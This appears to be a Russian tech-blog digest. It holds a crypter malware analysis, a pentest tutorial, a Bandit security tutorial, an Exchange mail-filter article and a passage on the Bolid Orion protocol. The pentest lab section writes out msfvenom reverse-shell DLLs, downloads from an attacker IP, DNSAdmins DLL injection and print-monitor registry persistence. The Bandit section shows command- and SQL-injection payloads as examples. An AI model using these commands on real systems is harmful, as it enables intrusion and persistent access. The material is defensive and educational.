2.Ваулин А. Е. Методы цифровой обработки данных. СПб.: ВИККИ им. А. Ф. Можайского, 1993. 106 с.

3. Декарт Р. Рассуждения о методе с приложениями (Диоптрика, Метеоры, Геометрия) М.: Изд-во АН СССР, 1953.с.9-66.

4.Бэкон Ф. Новый органон. М.: Соцэкгиз,1938. 244 с.

5.Гэри М., Джонсон Д. Вычислительные машины и трудно решаемые задачи. М.: Мир, 1982.

6. Джини К. Логика в статистике. М.: Статистика,1973. 127 с.

7. Квейд Э. Анализ сложных систем. М.: Советское радио,1969.519 с.

8.Квейд Э. Методы системного анализа // Новое в теории и практике управления производством в США.М.: Прогресс, 1971. с.78-99.

9. Корбут А.А., Финкельштейн Ю. Ю. Дискретное программирование М. Наука. Гл. ред. физ.-мат. лит. 1969.

10.Клыков Ю. И. Ситуационное управление большими системами. М.: Энергия,1974.135 с.

11. Макаров И. М. и др. Теория выбора и принятия решений. М.: Наука, 1982. 328 с.

12.ПфанцагльИ. Теория измерений. М.: Наука, 1988.384 с.

13. Таха Х. А. Введение в исследование операций. 7-е изд. М.: Изд. дом Вильямс, 2005.

14.Фишберн П. С. Теория полезности для принятия решений. М.: Наука,1978. 352 с.

Подробнее..

Cassandra криптор, который любит держаться в тени

16.06.2021 18:22:08 | Автор: admin

Ни один атакующий не хочет, чтобы его инструменты обнаружили и раскрыли раньше времени. Поэтому, как правило, в чистом виде никто вредоносные программы не распространяет. Например, пользователю прилетело фишинговое письмо от имени известной транспортной компании и просят проверить документы во вложении. Подобные письма достаточно часто являются началом атаки, так было и в этом раз. Внутри архива находился исполняемый файл Cassandra Crypter популярный криптор, полезной нагрузкой которого могут выступать различные семейства вредоносного программного обеспечения. Алексей Чехов, аналитик CERT-GIB, рассказывает, как Cassandra проникает на компьютер жертвы и приводит с собой других незваных гостей.

Работу Cassandra можно условно разделить на два этапа. На первой стадии загружается вспомогательная библиотека, которая извлекает основную часть криптора из исходного файла. На второй криптор раскрывает весь свой потенциал.

Первая стадия

Cassandra маскируется под легитимное приложение. В точке входа располагается стандартная для приложений Windows Forms функция запуска.

Конструктор формы также выглядит стандартным, ничем не отличающимся от легитимного приложения.

При детальном анализе был обнаружен вызов функции aaa(), которая содержит вредоносный функционал. Ее вызов приводит к расшифровке и подгрузке вспомогательной dll.

Для расшифровки используется алгоритм AES.

После подгрузки вспомогательной dll вызовется одна из её функций, в результате чего будет получена и запущена вторая стадия криптора.

Вторая стадия содержится в изображении, в зашифрованном виде, в исходной сборке.

Для расшифровки используется операция XOR, ключом для расшифровки являются первые 16 байтов исходного изображения.

В первой стадии злоумышленники практически не используют средства противодействия анализу, отладки и так далее, за исключением обфускации дополнительной библиотеки.

Вторая стадия

Вторая стадия представляет собой исполняемый файл .Net Framework.

Конфигурационный файл

Ключ, который используется на первой стадии расшифровки пейлоада

"baAsaBBxDT"

Поле, содержащее пейлоад в расшифрованном виде

Поле содержащее сырой (не разобранный) конфиг

"0||0||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v2||0||3046||0||0||||||0||0||0||||"

Поле, содержащее подготовленный конфиг

Поле, содержащее флаг типа инжекта

0

Поле, содержащее флаг закрепления в системе

0

Поле, содержащее имя файла после закрепления в системе

"YhwcrydjrNS"

Поле, содержащее название мьютекса

"ljrSLVyCApWxcUE"

Неиспользуемое поле

0

Поле, содержащее информацию об использовании загрузчика

0

Поле, содержащее информацию о пути до загруженного файла

0

Поле, содержащее ссылку на пейлоад

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск строк в пути файла

0

Неиспользуемое поле

0

Неиспользуемое поле

0

Поле, содержащее информацию об использовании Fake MessageBox

0

Текст заголовка Fake MessageBox

0

Текст Fake MessageBox

0

Информация о кнопках Fake MessageBox

0

Информация об иконке Fake MessageBox

0

Количество секунд, в течение которых приложение будет бездействовать

0

Функция, осуществляющая разбор конфигурационного файлаФункция, осуществляющая разбор конфигурационного файла

Полезная нагрузка

Полезная нагрузка содержится в крипторе в зашифрованном виде. Расшифровка проходит в два этапа:

1. В цикле осуществляется побайтовый XOR шифрограммы, ключа и значения операции XOR от последнего элемента байта шифрограммы и 112. Полученные значения сохраняются в созданный массив. Ключ для первой стадии содержится в конфигурационном файле.

2. Осуществляется дешифрование, аналогичное тому, что было на первой стадии: используется операция XOR, в качестве ключа используются первые 16 байтов массива, полученного на первом этапе.

Закрепление в системе

Закрепление в системе осуществляется через создание отложенной задачи. Файл копируется в директорию AppData//{имя файла, заданное в конфиге}+.exe. После этого исходный файл удаляется и создается задача на выполнение.

Anti-VM

В функции осуществляется поиск виртуальных видеоадаптеров и специфических ключей реестра, свойственных для виртуальных машин.

Anti-Sandbox

Реализованы три функции противодействия песочнице:

  • Детект изолированной среды. Функция проверяет путь до исполняемого файла и ищет в нём специфические строки, таких как \\VIRUS, SAMPLE, SANDBOX и т.д. Также осуществляется поиск окна, свойственного WindowsJail, и библиотеки SbieDll.dll, загруженной в процесс.

  • Попытка обхода песочницы по таймауту. Реализована при помощи стандартной процедуры Sleep.

  • Попытка обхода песочницы по user activity. Реализована при помощи показа Fake MessageBox.

Защита от повторного запуска

Реализована путем создания мьютекса с заданным именем в системе.

Функционал

Downloader

Реализована функция загрузки пейлоада из сети.

Запуск полезной нагрузки

Содержит два варианта запуска пейлоада:

1. Загрузка в память при помощи функций .Net Framework.

2. Инжект полезной нагрузки в запущенный процесс. Есть возможность выбора из нескольких процессов.

На данный момент Cassandra достаточно распространенный тип крипторов. Как правило, злоумышленники используют его в массовых рассылках, чтобы незаметно запускать на машине пользователя вредоносное ПО. Cassandra позволяет запускать даже хорошо изученные семейства ВПО.

Подробнее..

Барахолка для Пентестера

17.06.2021 14:15:17 | Автор: admin

Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:

  • Что такого с DNSAdmins?

  • Persistence

  • Можно ли обойтись без Bloodhound?

DNSAdmins

Тестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.

Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:

  • Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172

  • Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3

Настройка стенда, начальные условия:

  • атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins

  • у учетной записи жертвы включен удаленный доступ через WinRM;

Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти здесь.

Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности здесь.

Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан здесь, как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка R_DnssrvOperation. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе.

Атака производится в несколько этапов:

  • Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это windows/shell/reverse_tcp. Команда для генерации следующая:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll

Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:

python3 -m http.server 7979
  • Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:

Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
  • Запускаем слушателя. Можно пользоваться модулем exploit/multi/handler. Предварительно его настроив, примерно так:

nc -lvp 4444
  • Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:

dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dllsc stop dnssc start dns

В итоге, проверяем привилегии в полученном shell:

Persistence

После получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления.

Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.

Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors.

Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару.

Метод по шагам:

  • Создаём dll:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
  • открываем слушателя на Kali Linux:

sudo nc -lvvp 6666
  • расшариваем для доступа dll:

smbserver.py -smb2support test /root
  • добавляем в реестр dll:

wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
  • перезагружаем ОС и получаем доступ к системе.

Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:

#include <windows.h>int main(){    MONITOR_INFO_2 mon;    TCHAR name[14] = TEXT("MonitorSlayer");    TCHAR arch[12] = TEXT("Windows x64");    TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");    monitorInfo.pName = name;    monitorInfo.pEnvironment = arch;    monitorInfo.pDLLName = dll;    AddMonitor(NULL, 2, (LPBYTE)&mon);    return 0;}

Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.

Можно ли обойтись без Bloodhound?

Bloodhound - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему.

Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:

  • ldap

  • kerberos

  • SMB

  • DCOM

  • RPC

Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах.

Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".

Схема использования инструмента следущая:

dsquery <тип объекта> <фильтры> <опции>

Типы объектов:

WildCard Computer Contact Group OU Site Server User Quota Partition

Пример выдачи запроса к поиску пользователей:

Пример выдачи запроса к поиску групп:

Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.


Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение"


Подробнее..

Перевод Ищем уязвимости в Python-коде с помощью open source инструмента Bandit

17.06.2021 16:13:58 | Автор: admin


Наверное, все разработчики слышали, что нужно писать чистый код. Но не менее важно писать и использовать безопасный код.

Python-разработчики обычно устанавливают модули и сторонние пакеты, чтобы не изобретать велосипеды, а использовать готовые и проверенные решения. Но проблема в том, что они не всегда тщательно проверены на уязвимости.

Часто хакеры используют эти уязвимости, в известно каких целях. Поэтому мы должны иметь возможность хотя бы фиксировать факты вторжения в наш код. А ещё лучше заранее устранять уязвимости. Для этого нужно сначала самим найти их в коде, используя специальные инструменты.

В этом туториале мы рассмотрим, как даже в очень простом коде могут появиться уязвимости и как использовать утилиту Bandit для их поиска.

Наиболее распространённые уязвимости в Python-коде


Вы, вероятно, слышали про взломы крупных веб-сайтов и кражу данных их пользователей. Возможно, с какими-то атаками вы сталкивались лично. Через уязвимости в нашем коде злоумышленники могут получить доступ к командам операционной системы или к данным. Некоторые функции или Python-пакеты могут казаться безопасными, когда вы используете их локально. Однако при развёртывании продукта на сервере они открывают двери для хакеров.

С наиболее распространёнными атаками более-менее справляются современные фреймворки и другие умные инструменты разработки ПО, имеющие встроенную защиту. Но понятно, что не со всеми и далеко не всегда.

Командная инъекция (внедрение команд)


Командная инъекция вид атаки, целью которой является выполнение произвольных команд в ОС сервера. Атака срабатывает, например, при запуске процесса с помощью функций модуля subprocess, когда в качестве аргументов используются значения, хранящиеся в переменных программы.

В этом примере мы используем модуль subprocess, чтобы выполнить nslookup и получить информацию о домене:

# nslookup.pyimport subprocessdomain = input("Enter the Domain: ")output = subprocess.check_output(f"nslookup {domain}, shell=True, encoding='UTF-8')print(output)

Что здесь может пойти не так?

Конечный пользователь должен ввести домен, а скрипт должен вернуть результат выполнения команды nslookup. Но, если вместе с именем домена через точку с запятой ввести ещё и команду ls, будут запущены обе команды:

$ python3 nslookup.pyEnter the Domain: stackabuse.com ; lsServer:     218.248.112.65Address:    218.248.112.65#53Non-authoritative answer:Name:  stackabuse.comAddress: 172.67.136.166Name:  stackabuse.comAddress: 104.21.62.141Name:  stackabuse.comAddress: 2606:4700:3034::ac43:88a6Name:  stackabuse.comAddress: 2606:4700:3036::6815:3e8dconfig.ymlnslookup.py

Используя эту уязвимость, можно выполнять команды на уровне ОС (у нас ведь shell = true).

Представьте себе, что случится, если злоумышленник, например, отправит на выполнение команду cat/etc/passwd, которая раскроет пароли существующих пользователей. Так что использование модуля subprocess может быть очень рискованным.

SQL-инъекция


SQL-инъекция это атака, в ходе которой из пользовательского ввода конструируется SQL-выражение, содержащее вредоносные запросы.

Благодаря активному использованию ORM количество таких атак существенно снизилось. Но если в вашей кодовой базе по-прежнему есть фрагменты, написанные на чистом SQL, необходимо знать, как строятся эти SQL-запросы. Насколько безопасны аргументы, которые вы валидируете и подставляете в запрос?

Рассмотрим пример:

from django.db import connectiondef find_user(username):with connection.cursor() as cur:cur.execute(f ""select username from USERS where name = '%s'"" % username)output = cur.fetchone()return output

Тут всё просто: в качестве аргумента передадим, например, строку Foobar. Строка вставляется в SQL-запрос, в результате чего получается:

select username from USERS where name = 'Foobar'

Так же, как и в случае с командной инъекцией, если кто-то передаст символ ";, он сможет выполнять несколько команд. Например, добавим к нашему запросу вместо имени пользователя строку "'; DROP TABLE USERS; -- и получим:

select username from USERS where name = ' '; DROP TABLE USERS; --'

Этот запрос удалит всю таблицу USERS. Упс!

Обратите внимание, на двойной дефис в конце запроса. Это комментарий, который нейтрализует следующий за ним символ "'". В результате команда select отработает с аргументом "' '" вместо имени пользователя, а потом выполнится команда DROP, которая больше не является частью строки.

select username from USERS where name = ' ';DROP TABLE USERS;

Аргументы SQL-запроса могут создать кучу проблем, если за ними не следить. Вот где инструменты для анализа безопасности могут хорошо помочь. Они позволяют найти в коде уязвимости, которые непреднамеренно внесли разработчики.

Команда assert


Не применяйте команду assert, чтобы защитить те части кодовой базы, к которым пользователи не должны получить доступ. Простой пример:

def foo(request, user):assert user.is_admin, "user does not have access"

# далее идёт код с ограниченным доступом

По умолчанию __debug__ установлено в True. Однако на продакшне могут сделать ряд оптимизаций, в том числе установить для __debug__ значение False. В этом случае команды assert не сработают и злоумышленник добраться до кода с ограниченным доступом.

Используйте команду assertтолько для отправки сообщений о нюансах реализации другим разработчикам.

Bandit


Bandit это инструмент с открытым исходным кодом, написанный на Python. Он помогает анализировать Python-код и находить в нём наиболее распространённые уязвимости. О некоторых из них я рассказал в предыдущем разделе. Используя менеджер пакетов pip, Bandit можно легко установить локально или на удалённую виртуалку например.

Устанавливается эта штука с помощью простой команды:

$ pip install bandit

Bandit нашёл применение в двух основных сферах:

  1. DevSecOps: как один из процессов Continuous Integration (CI).
  2. Разработка: как часть локального инструментария разработчика, используется для проверки кода на уязвимость до коммита.

Как использовать Bandit


Bandit может быть легко интегрирован как часть тестов CI, а проверки на уязвимость можно выполнять перед отправкой кода в продакшн. Например, инженеры DevSecOps могут запускать Banditа всякий раз, когда происходит pull-запрос или коммит кода.

Результаты проверки кода на уязвимость можно экспортировать в CSV, JSON и так далее.

Во многих компаниях существуют ограничения и запреты на использование некоторых модулей, потому что с ними связаны определённые, хорошо известные в узких кругах, уязвимости. Bandit может показать, какие модули можно использовать, а какие внесены в чёрный список: конфигурации тестов для соответствующих уязвимостей хранятся в специальном файле. Его можно создать с помощью Генератора конфигураций (bandit-config-generator):

$ bandit-config-generator -o config.yml


Сгенерированный файл config.yml содержит блоки конфигурации для всех тестов и чёрного списка. Эти данные можно удалить или отредактировать. Для указания списка идентификаторов тестов, которые должны быть включены или исключены из процедуры проверки, нужно использовать флаги -t и -s:

  • -t TESTS, --tests TESTS, где TESTS список идентификаторов тестов (в квадратных скобках, через запятую), которые нужно включить.

  • -s SKIPS, --skip SKIPS, где SKIPS список идентификаторов тестов (в квадратных скобках, через запятую), которые нужно исключить.

Проще всего использовать конфигурационный файл с настройками по умолчанию.

$ bandit -r code/ -f csv -o out.csv[main] INFO  profile include tests: None[main] INFO  profile exclude tests: None[main] INFO  cli include tests: None[main] INFO  cli exclude tests: None[main] INFO  running on Python 3.8.5434 [0.. 50.. 100.. 150.. 200.. 250.. 300.. 350.. 400.. ][csv]  INFO  CSV output written to file: out.csv

В команде выше после флага -r указан каталог проекта, после флага -f формат вывода, а после флага -o указан файл, в который нужно записать результаты проверки. Bandit проверяет весь python-код внутри каталога проекта и возвращает результат в формате CSV.

После проверки мы получим достаточно много информации:



Продолжение таблицы

Как упоминалось в предыдущем разделе, импорт модуля subprocess и использование аргумента shell = True в вызове функции subprocess.check_output несут серьёзную угрозу безопасности. Если использование этого модуля и аргумента неизбежно, их можно внести в белый список в файле конфигурации и заставить Banditа пропускать тесты, включив в список SKIPS идентификаторы B602 (subprocess_popen_with_shell_equals_true) и B404 (import_subprocess):

$ bandit-config-generator -s [B602, B404] -o config.yml

Если повторно запустить Bandit, используя новый файл конфигурации, на выходе получим пустой CSV-файл. Это означает, что все тесты были пройдены:

> bandit -c code/config.yml -r code/ -f csv -o out2.csv[main] INFO  profile include tests: None[main] INFO  profile exclude tests: B404,B602[main] INFO  cli include tests: None[main] INFO  cli exclude tests: None[main] INFO  using config: code/config.yml[main] INFO  running on Python 3.8.5434 [0.. 50.. 100.. 150.. 200.. 250.. 300.. 350.. 400.. ][csv]  INFO  CSV output written to file: out2.csv


В условиях командной разработки для каждого проекта должны быть созданы свои файлы конфигурации. Разработчикам нужно дать возможность редактировать их в любой момент в том числе и локально.

Что важнее для вас?


Это был короткий туториал по основам работы с Bandit. Если вы используете в своих проектах модули, в которых сомневаетесь, их можно проверить на уязвимость прямо сейчас. Да и наш собственный код мы порой не успеваем довести до ума, жертвуя не только красивыми решениями, но и о безопасностью. Каковы ваши приоритеты?



VPS серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Транспортный агент MS Exchange для защиты от вирусов и нежелательной почты

18.06.2021 12:04:53 | Автор: admin

Exchange довольно мощный и популярный почтовый сервер в мире энтерпрайза. Против угроз малварей и фишинга он имеет как встроенные механизмы защиты, так и возможность использования сторонних продуктов. Но в реальности этих возможностей не всегда достаточно для отлова всех вредоносных писем: малвари проходят к пользователям до того, как их сигнатуры попадут в антивирусные базы, а URL-адреса в репутационные списки. Поэтому мы разработали инструмент, помогающий бороться с различными угрозами, приходящими к нам по почте.

Пример зловреда, с которым встроенные механизмы Exchange не справилисьПример зловреда, с которым встроенные механизмы Exchange не справились

Как известно, в основном атаковать пользователя по почте можно двумя самыми распространенными способами: прицепить в теле письма вредоносные вложения или в тексте письма добавить ссылку, по которой пользователь должен перейти и скачать загрузчик.

Обычно у безопасников считается, что нужно учить пользователей правилам работы с почтой. Типовые корпоративные правила обращения с почтой для пользователей чаще всего сферические в вакууме и не отражают реальность. Например, пользователям советуют не открывать вложения и не переходить по ссылкам от незнакомых отправителей. Но что делать, когда у сотрудников работа заключается в том, чтобы открывать файлы от незнакомых отправителей? Внедренцы и продажники, специалисты по работе с поставщиками/партнерами - для них такие правила трудновыполнимы. Тем более, злоумышленник может подделать отправителя/зарегистрировать похожий на ваш домен и отправить зловреда на ваш почтовый ящик. Или отправить вредоноса со взломанного почтового ящика в старую переписку с сотрудником.

Против вложений у эксченджа есть встроенные механизмы, Вы можете указать потенциально опасные расширения файлов, по которым с письмом будут совершаться некоторые действия. Однако это не панацея защищаясь от эксплоитов в rtf или от html вложений с помощью блокировки расширений, вы не получите вполне легальные документы со счетами, что может навредить вашим бизнес-процессам. Да и злоумышленник может поменять расширение файла, и тогда фильтр пропустит опасное вложение. А против ссылок вообще ничего встроенного нет.

Мы в Контуре ежедневно получаем горы вредоносных писем, насмотрелись на разные варианты угроз, и если с вложениями как-то еще было можно бороться, то со ссылками была беда. Поэтому мы решили сделать свой транспортный агент библиотеку для Edge серверов для борьбы с прилетающими по почте вредоносами и фишингом.

История разработки

Сначала мы дописывали StripLinks, который в качестве примера транспортного агента представлен Microsoft, а затем прикрутили к нему функциональность опенсорсного ExchangeAttachmentFilter для фильтрации по имени файлов. Этого нам показалось мало и мы добавили туда анализ контента файлов алгоритмом Ахо-Корасик и регулярками, анализ текста, заголовков и темы письма, а еще обезвреживание автозапуска в pdf.

Получилось круто; во время эпидемий малварей, распространявшихся по почте, отдел информационной безопасности отдыхал и пил пиво на расслабоне. Но позже пришло понимание, что в текущем виде правила для анализа писать неудобно: они занимают много места в конфиге и вообще лучше бы использовать имеющиеся открытые инструменты для анализа вредоносных сигнатур.

И конечно в голову пришла очевидная идея прикрутить к агенту популярный инструмент YARA. Если брать мир опенсорса, то на тот момент подобные агенты существовали уже для популярных почтовых серверов типа постфикса, а для эксченджа ничего готового опенсорсного не нагуглилось. Находились платные варианты, но они обычно шли как часть функциональности почтового антивируса в довесок, а менять текущие антивирусы в планы не входило, так как это дорого и возможностей кастомизации гораздо меньше.

Попутно пришлось устранить всякие баги в YARA, из-за которых на сервере через N тысяч операций кончалась память, и служба транспорта падала.

Разработанное мы решили выложить обратно в опенсорс вдруг кому-то послужит с пользой, как нам. Вот ссылка на репозиторий с агентом.

Как это работает

Архитектура агента предполагает модульность: есть кучка небольших компонентов, каждый из которых умеет проверять что-то одно:

  • Совпадение отправителя и получателя письма

  • Опасные шаблоны в теме письма

  • Ссылки в тексте письма

  • Опасные шаблоны в тексте письма

  • Подделку MessageID

  • Потенциально опасные заголовки письма

  • SMTP сессию

  • Проверку вложения по имени

  • Проверку вложения YARA на наличие вредоносных сигнатур

  • Проверку содержимого архивов остальными файловыми модулями

Правила для проверки задаются в формате YARA-правил для файлового анализа и в XML для других модулей. В отличие от встроенных механизмов эксченджа, эти правила дают возможность полного контентного анализа, а не только поверхностного принятия решения на основе расширения файла.

Примеры сработки правил могут быть самые разные: опасные вложения, подмена адресов, наличие ссылок, определенные форматы, белые/черные списки любых параметров письма, определенные хеши, наличие в тексте каких-нибудь указанных кошельков, требование выкупа и так далее, на что фантазии хватит. Есть возможность создания как разрешающих, так запрещающих правил.

На основе сработавших правил каждого из модулей письму присваивается часть рейтинга. Для заведомо вредоносных сработок (например, эксплойтов) рейтинг будет меняться сильнее, а для потенциально опасных, но неточных угроз слабее. Исходя из суммарного рейтинга для письма принимается решение о действиях с письмом:

  • Пропустить

  • Отклонить

  • Добавить в тему письма надпись "опасно"

  • Добавить в письмо служебный заголовок, на который обратят внимание следующие инструменты защиты

Модули по заданным правилам могут логировать происходящее. Лог сохраняется в локальный файл в формате JSON. Например, полезно собирать инфу об урлах или статистические данные вроде количества похожих писем для разных получателей. У нас лог отправляется в elasticsearch, откуда мы уже забираем данные для дальнейшего анализа. Собранные данные можно отдельно прогонять по репутационным базам или проводить ретроспективный поиск при расследовании инцидентов.

Установка и конфигурирование агентов довольно простые. Конкретно используемые нами правила, конечно, мы не публикуем, но для примера добавлен базовый набор, на его основе легко будет сделать конфигурацию для ваших нужд.

Что мы хотим от публикации в опенсурс?

  • Идеи, как можно было бы улучшить/поправить инструмент

  • Помощь энтузиастов в развитии агента

  • Дать коллегам по цеху инструменты и идеи, как можно оградить своих пользователей от почтовых угроз

Подробнее..

Дешифрация протокола Орион Bolid

19.06.2021 06:09:13 | Автор: admin

Компания Bolid лидер в разработке интегрированных систем безопасности - то, что вы услышите, если позвоните им по телефону. Это своего рода российский Apple в сфере АСУТП, со своей закрытой экосистемой. Попробуем немного открыть экосистему.

Введение

Большая часть устройств Bolid обычно связывается между собой двумя проводами через RS-485 в большинстве случаев с параметрами 9600/8-N-1.

Для общения используются 2 шифрованных протокола: Орион или Орион Про. На момент написания статьи я пока не знаю в чём между ними разница, во всяком случае дальше будет речь о протоколе Орион (без Про).

Существует устройство С2000-ПП от компании Bolid для общения с bolid-устройствами через протокол Modbus-RTU. Но его функционал крайне ограничен.

Протокол Орион

Протокол Орион представляет из себя подобие Modbus-RTU, есть команда, количество передаваемых байт и CRC.

Мы общаемся со slave-устройствами как master, мы отправляем запросы, устройства нам отвечают.

Некоторые команды передаются в шифрованном виде, некоторые в открытом. Хорошим индикатором шифрованной команды является смещённый адрес в начале сообщения. У шифрованного сообщения смещение адреса идёт на 0x80 или 0d128. Как итог 127 возможных адресов + 128 число смещения = 255 (максимальное значение одного байта из 2^8 возможных).

Для того, чтобы устройства отвечали на шифрованные сообщения, необходимо задать глобальный ключ - GLOBAL_KEY для каждого устройства, хотя бы единожды (не проверял какой стоит по умолчанию).

При отправке шифрованных команд используется MESSAGE_KEY при каждом запросе.

Для общения с Bolid-устройствами нам нужно подключиться в любое место линии RS-485 (не забываем про терминаторы, иногда без них работа нестабильна).

Расчёт контрольной суммы

Для расчёта CRC используется CRC-8-Dallas, рассчитываемый табличным методом.

byte[] CrcTable = {            0x00,0x5E,0xBC,0xE2,0x61,0x3F,0xDD,0x83,0xC2,0x9C,0x7E,0x20,0xA3,0xFD,0x1F,0x41,            0x9D,0xC3,0x21,0x7F,0xFC,0xA2,0x40,0x1E,0x5F,0x01,0xE3,0xBD,0x3E,0x60,0x82,0xDC,            0x23,0x7D,0x9F,0xC1,0x42,0x1C,0xFE,0xA0,0xE1,0xBF,0x5D,0x03,0x80,0xDE,0x3C,0x62,            0xBE,0xE0,0x02,0x5C,0xDF,0x81,0x63,0x3D,0x7C,0x22,0xC0,0x9E,0x1D,0x43,0xA1,0xFF,            0x46,0x18,0xFA,0xA4,0x27,0x79,0x9B,0xC5,0x84,0xDA,0x38,0x66,0xE5,0xBB,0x59,0x07,            0xDB,0x85,0x67,0x39,0xBA,0xE4,0x06,0x58,0x19,0x47,0xA5,0xFB,0x78,0x26,0xC4,0x9A,            0x65,0x3B,0xD9,0x87,0x04,0x5A,0xB8,0xE6,0xA7,0xF9,0x1B,0x45,0xC6,0x98,0x7A,0x24,            0xF8,0xA6,0x44,0x1A,0x99,0xC7,0x25,0x7B,0x3A,0x64,0x86,0xD8,0x5B,0x05,0xE7,0xB9,            0x8C,0xD2,0x30,0x6E,0xED,0xB3,0x51,0x0F,0x4E,0x10,0xF2,0xAC,0x2F,0x71,0x93,0xCD,            0x11,0x4F,0xAD,0xF3,0x70,0x2E,0xCC,0x92,0xD3,0x8D,0x6F,0x31,0xB2,0xEC,0x0E,0x50,            0xAF,0xF1,0x13,0x4D,0xCE,0x90,0x72,0x2C,0x6D,0x33,0xD1,0x8F,0x0C,0x52,0xB0,0xEE,            0x32,0x6C,0x8E,0xD0,0x53,0x0D,0xEF,0xB1,0xF0,0xAE,0x4C,0x12,0x91,0xCF,0x2D,0x73,            0xCA,0x94,0x76,0x28,0xAB,0xF5,0x17,0x49,0x08,0x56,0xB4,0xEA,0x69,0x37,0xD5,0x8B,            0x57,0x09,0xEB,0xB5,0x36,0x68,0x8A,0xD4,0x95,0xCB,0x29,0x77,0xF4,0xAA,0x48,0x16,            0xE9,0xB7,0x55,0x0B,0x88,0xD6,0x34,0x6A,0x2B,0x75,0x97,0xC9,0x4A,0x14,0xF6,0xA8,            0x74,0x2A,0xC8,0x96,0x15,0x4B,0xA9,0xF7,0xB6,0xFC,0x0A,0x54,0xD7,0x89,0x6B,0x35        };

Вариант расчёта CRC:

byte сalculate_сrc(byte[] inputMessage){            byte crc = 0;            if (inputMessage.Count == 0)            {                return 0;            }            var length = inputMessage.Count;            for (int i = 0; i < length; ++i)            {                crc = CrcTable[crc ^ inputMessage[i]];            }            return crc;}

Вариант расчёта CRC:

byte CalculateCrc(IList<byte> inputMessage){            return inputMessage.Aggregate((byte)0, (prev, next) => CrcTable[prev ^ next]);}

Установка глобального ключа

Для того, чтобы общаться с каким-то устройством, ему нужно задать глобальный ключ (для забавы и наглядности выбран ключ 0xBA, получается BABA).

Далее по тексту операция исключающего или (XOR) будет обозначаться символом ^.

Зададим Bolid-устройству с адресом 3 глобальный ключ следующей командой:

